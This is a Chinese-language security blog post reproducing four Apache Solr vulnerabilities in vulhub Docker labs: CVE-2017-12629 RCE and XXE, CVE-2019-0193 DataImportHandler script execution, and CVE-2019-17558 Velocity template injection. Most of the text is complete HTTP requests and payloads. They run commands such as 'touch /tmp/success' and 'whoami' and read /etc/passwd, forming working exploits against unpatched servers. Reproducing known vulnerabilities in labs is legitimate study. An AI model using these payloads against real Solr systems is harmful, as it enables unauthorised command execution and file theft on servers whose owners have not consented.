solr漏洞复现

2024-03-20 994 0

描述

Apache Solr是一个开源的搜索服务器。Solr使用java语言开发,主要基于HTTP和Apache Lucene实现,大致原理是文档通过HTTP利用XML加到一个搜索集合中。查询该集合也是通过http收到一个XML/JSON响应来实现。7.1.0之前版本总共爆出两个漏洞:XXE和RCE

首先solr爆出许多漏洞,不止下面复现的四个,那么在这些漏洞中我个人认为最重要的漏洞就是CVE-2017-12629,因为solr本身就是一个搜索引擎,而CVE-2017-12629漏洞就是通过q值这个暴露在外的搜索点进行的漏洞利用,所以i用条件以及方法都是非常容易的,即使在内网这种流量限制较大的环境也能够轻松利用。

CVE-2017-12629-RCE

环境地址

https://github.com/vulhub/vulhub/

环境启动

docker-compose up -d

漏洞复现

首先添加一个listener,设置exe值为我们想要执行的命令,args的值是命令参数,发包即可

POST /solr/demo/config HTTP/1.1
Host: your-ip
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 158

{"add-listener":{"event":"postCommit","name":"newlistener","class":"solr.RunExecutableListener","exe":"sh","dir":"/bin/","args":["-c", "touch /tmp/success"]}}

solr漏洞复现插图

然后进行update操作出发刚才添加的listener

POST /solr/demo/update HTTP/1.1
Host: your-ip
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 15

[{"id":"test"}]

solr漏洞复现插图1

进入docker容器,文件success成功创建

solr漏洞复现插图2

CVE-2017-12629-XXE

环境地址

https://github.com/vulhub/vulhub/

环境启动

docker-compose up -d

漏洞复现

此漏洞为盲注XXE,我们需要利用error based xxe,需要找到符合条件的dtd文件

openjdk的Docker镜像安装了fontconfig-config,其包含一个dtd文件符合要求:/usr/share/xml/fontconfig/fonts.dtd

XXE payload如下

<?xml version="1.0" ?>
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/fontconfig/fonts.dtd">

<!ENTITY % expr 'aaa)>
<!ENTITY &amp#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &amp#x25; eval "<!ENTITY &amp#x26;#x25; error SYSTEM &amp#x27;file:///nonexistent/&amp#x25;file;&amp#x27;>">
&amp#x25;eval;
&amp#x25;error;
<!ELEMENT aa (bb'>

%local_dtd;
]>
<message>any text</message>

对其payload进行URL编码然后发送,成功读取/etc/passwd文件

solr漏洞复现插图3

结尾

上述知识其中一个dtd文件的利用方式,不止一种方法,大家可以尝试其他复现方式

CVE-2019-0193(RCE)

描述

此次漏洞出现在Apache Solr的DataImportHandler,该模块是一个可选但常用的模块,用于提取数据。DIH的所有配置都可以通过dataconfig参数来设置并且DIH可以包含脚本,因此攻击者可以通过构造危险请求从而造成命令执行

环境地址

https://github.com/vulhub/vulhub/

环境启动

docker-compose up -d

漏洞复现

访问http://your-ip:8983/即可查看到Apache solr的管理页面,无需登录

首先在页面左侧选择demo核心,打开Dataimport面板,开启右侧Debug mode,填入以下POC

<dataConfig>
<script><![CDATA[
function poc(){ java.lang.Runtime.getRuntime().exec("touch /tmp/success");
}
]]></script>
<document>
<entity name="sample"
fileName=".*"
baseDir="/"
processor="FileListEntityProcessor"
recursive="false"
transformer="script:poc" />
</document>
</dataConfig>

solr漏洞复现插图4

点击Execute with this Confuguration会发送如下payload

POST /solr/demo/dataimport?_=1710229703650&indent=on&wt=json HTTP/1.1
Host: 110.41.41.14:8983
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-type: application/x-www-form-urlencoded
Content-Length: 616
Origin: http://110.41.41.14:8983
Connection: close
Referer: http://110.41.41.14:8983/solr/
Cookie: wp-settings-time-1=1710057450; wp-settings-1=mfold%3Do%26libraryContent%3Dbrowse%26posts_list_mode%3Dlist

command=full-import&verbose=false&clean=true&commit=true&optimize=false&core=demo&dataConfig=%3CdataConfig%3E%0A++%3Cscript%3E%3C!%5BCDATA%5B%0A++++++++++function+poc()%7B+java.lang.Runtime.getRuntime().exec(%22touch+%2Ftmp%2Fsuccess%22)%3B%0A++++++++++%7D%0A++%5D%5D%3E%3C%2Fscript%3E%0A++%3Cdocument%3E%0A++++%3Centity+name%3D%22sample%22%0A++++++++++++fileName%3D%22.*%22%0A++++++++++++baseDir%3D%22%2F%22%0A++++++++++++processor%3D%22FileListEntityProcessor%22%0A++++++++++++recursive%3D%22false%22%0A++++++++++++transformer%3D%22script%3Apoc%22+%2F%3E%0A++%3C%2Fdocument%3E%0A%3C%2FdataConfig%3E&name=dataimport

进入docker,文件成功创建

solr漏洞复现插图5

CVE-2019-17558(RCE)

描述

该漏洞产生原因是因为用户可以注入自定义模板,通过Velocity模板语言执行任意命令。

环境地址

https://github.com/vulhub/vulhub/

环境启动

docker-compose up -d

漏洞复现

默认情况下params.resource.loader.enabled配置未打开,无法使用自定义模板。我们先通过如下API获取所有的核心:

http://110.41.41.14:8983/solr/admin/cores?indexInfo=false&wt=json

solr漏洞复现插图6

通过如下请求开启params.resource.loader.enabled,其中API路径包含刚才获取的core名称

POST /solr/demo/config HTTP/1.1
Host: 110.41.41.14:8983
Content-Type: application/json
Content-Length: 263

{
"update-queryresponsewriter": {
"startup": "lazy",
"name": "velocity",
"class": "solr.VelocityResponseWriter",
"template.base.dir": "",
"solr.resource.loader.enabled": "true",
"params.resource.loader.enabled": "true"
}

solr漏洞复现插图7

然后使用注入的Velocity模板即可执行任意命令

http://110.41.41.14:8983/solr/demo/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27whoami%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23en

solr漏洞复现插图8


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

苹果试图保护你的隐私,OpenAI可能做不到
Shuffle:一款完全自动化的安全栈增强平台
如何使用CODASM编码Payload并降低熵值
SessionExec:一款针对会话安全的安全命令测试工具
Arkime:一款大规模数据包捕获和索引数据库系统
从蓝队流量角度分析Shiro-550反序列化漏洞

发布评论